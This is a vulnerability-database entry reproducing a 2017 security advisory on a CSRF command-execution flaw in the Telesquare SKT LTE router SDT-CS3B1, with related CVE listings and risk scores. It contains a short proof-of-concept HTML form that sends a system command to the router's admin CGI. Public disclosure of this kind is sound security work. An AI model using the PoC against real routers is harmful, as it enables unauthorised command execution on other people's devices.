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Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-2017-20221 | 16 Mar 202601:28 | – | attackerkb |
 | Telesquare SKT LTE Router SDT-CS3B1 跨站请求伪造漏洞 | 16 Mar 202600:00 | – | cnnvd |
 | CVE-2017-20221 | 16 Mar 202601:28 | – | cve |
 | CVE-2017-20221 Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution | 16 Mar 202601:28 | – | cvelist |
 | EUVD-2017-18936 | 16 Mar 202615:30 | – | euvd |
 | CVE-2017-20221 | 16 Mar 202614:17 | – | nvd |
 | Telesquare SKT LTE Router SDT-CS3B1 Multiple Vulnerabilities - Active Check | 28 Dec 201700:00 | – | openvas |
 | PT-2026-25739 | 16 Mar 202600:00 | – | ptsecurity |
 | CVE-2017-20221 | 26 Mar 202615:13 | – | redhatcve |
 | CVE-2017-20221 Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution | 16 Mar 202601:28 | – | vulnrichment |
10
<html><body><p>Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution
Vendor: Telesquare Co., Ltd.
Product web page: http://www.telesquare.co.kr
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
LteVer: ML300S5XEA41_090 1 0.1.0
Modem model: PM-L300S
Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
LTE wireless communication based LTE router product.
Desc: The router suffers from authenticated arbitrary system command
execution. The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks to
verify the requests. This can be exploited to perform certain actions
with administrative privileges if a logged-in user visits a malicious
web site.
Tested on: lighttpd/1.4.20
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5443
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5443.php
22.12.2017
--
IDOR for system command interface:
----------------------------------
GET /admin/system_command.shtml HTTP/1.1
PoC GET CSRF request:
---------------------
</p>
<form action="http://10.0.0.17:8081/cgi-bin/admin.cgi">
<input name="Command" type="hidden" value="sysCommand"/>
<input name="Cmd" type="hidden" value="uname%20-a"/>
<input name="T" type="hidden" value="8168008531337"/>
<input type="submit" value="Send"/>
</form>
</body></html>Data
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27 Dec 2017 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.13.5 - 4.3
CVSS 45.3
EPSS0.00013
SSVC